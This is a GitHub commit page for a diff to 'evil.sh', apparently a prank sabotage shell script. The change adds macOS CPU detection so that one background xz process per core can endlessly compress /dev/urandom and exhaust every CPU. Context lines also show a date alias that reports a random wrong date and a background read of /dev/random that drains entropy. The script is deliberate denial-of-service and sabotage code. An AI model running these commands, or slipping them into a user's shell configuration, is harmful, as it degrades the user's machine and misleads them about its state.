Skip to content

Commit

Permalink
slightly more cross-platform all-cpu-eating
Browse files Browse the repository at this point in the history
  • Loading branch information
ojno committed Mar 28, 2016
1 parent 2e035b0 commit c40d645
Showing 1 changed file with 6 additions and 1 deletion.
7 changes: 6 additions & 1 deletion evil.sh
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,12 @@ alias date='date -d "now + $RANDOM days"';
/bin/cat /dev/random > /dev/null 2>&1 &

# Use ALL the CPUs.
for i in $(seq 1 $(nproc)); do
if [ "$(uname)" = 'Darwin' ]; then
NCPUS=$(sysctl -n hw.ncpu)
else
NCPUS=$(nproc)
fi;
for i in $(seq 1 $NCPUS); do
xz -9e -c /dev/urandom > /dev/null 2>&1 &
done;

Expand Down

0 comments on commit c40d645

Please sign in to comment.